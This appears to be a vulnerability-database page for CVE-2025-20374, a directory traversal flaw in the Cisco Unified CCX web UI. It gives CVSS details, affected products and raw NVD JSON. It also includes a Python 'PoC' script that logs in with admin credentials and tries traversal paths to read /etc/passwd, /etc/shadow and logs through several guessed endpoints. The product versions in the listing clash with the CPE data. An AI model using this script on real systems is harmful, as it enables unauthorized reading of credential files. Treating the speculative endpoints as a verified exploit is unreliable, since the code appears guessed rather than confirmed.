Security Vulnerability Report
中文
CVE-2025-20374 CVSS 4.9 MEDIUM

CVE-2025-20374

Published: 2025-11-05 17:15:38
Last Modified: 2025-11-17 19:40:49

Description

A vulnerability in the web UI of Cisco Unified CCX could allow an authenticated, remote attacker to perform a directory traversal and access arbitrary resources. This vulnerability is due to an insufficient input validation associated to specific UI features. An attacker could exploit this vulnerability by sending a crafted request to the web UI. A successful exploit could allow the attacker to gain read access to arbitrary files on the underlying operating system. To exploit this vulnerability, the attacker must have valid administrative credentials.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:cisco:unified_contact_center_express:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:cisco:unified_contact_center_express:15.0:*:*:*:*:*:*:* - VULNERABLE
Cisco Unified CCX 12.0及更早版本
Cisco Unified CCX 12.5
Cisco Unified CCX 14.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import urllib.parse # CVE-2025-20374 PoC - Cisco Unified CCX Directory Traversal # Authentication required - replace with valid admin credentials TARGET_URL = "https://<target-ip>/ccx-webui" USERNAME = "admin" PASSWORD = "password" # File paths to attempt to read via directory traversal TARGET_FILES = [ "../../../../etc/passwd", "../../../../etc/shadow", "../../../../etc/hosts", "../../../..//var/log/messages", "../../../../etc/cups/printers.conf" ] def exploit_directory_traversal(session, filepath): """ Attempts to read arbitrary file via directory traversal filepath: Path to file using traversal sequences """ encoded_path = urllib.parse.quote(filepath) # Try multiple traversal patterns traversal_patterns = [ f"/ccx-webui/v2/files?path={encoded_path}", f"/ccx-webui/api/download?filename={encoded_path}", f"/ccx-webui/admin/logs/view?file={encoded_path}" ] for pattern in traversal_patterns: try: response = session.get(TARGET_URL + pattern, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[SUCCESS] File read via pattern: {pattern}") print(f"Content preview:\n{response.text[:500]}") return True except requests.RequestException as e: print(f"[ERROR] Request failed: {e}") return False def main(): session = requests.Session() # Login to obtain authenticated session login_data = {"username": USERNAME, "password": PASSWORD} login_response = session.post(f"{TARGET_URL}/login", data=login_data) if login_response.status_code != 200: print("[ERROR] Authentication failed") return print("[INFO] Authentication successful") # Attempt to read sensitive files for file_path in TARGET_FILES: print(f"\n[INFO] Attempting to read: {file_path}") exploit_directory_traversal(session, file_path) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20374", "sourceIdentifier": "[email protected]", "published": "2025-11-05T17:15:38.457", "lastModified": "2025-11-17T19:40:48.957", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the web UI of Cisco Unified CCX could allow an authenticated, remote attacker to perform a directory traversal and access arbitrary resources.\r\n\r\nThis vulnerability is due to an insufficient input validation associated to specific UI features. An attacker could exploit this vulnerability by sending a crafted request to the web UI. A successful exploit could allow the attacker to gain read access to arbitrary files on the underlying operating system.&nbsp;To exploit this vulnerability, the attacker must have valid administrative credentials."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cisco:unified_contact_center_express:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.5\\(1\\)_su03_es07", "matchCriteriaId": "6EF18C21-6E70-4748-99FA-884754F44D1A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:unified_contact_center_express:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "124C88AE-ED0C-4CBC-A84D-200EDB776C8C"}]}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cc-mult-vuln-gK4TFXSn", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}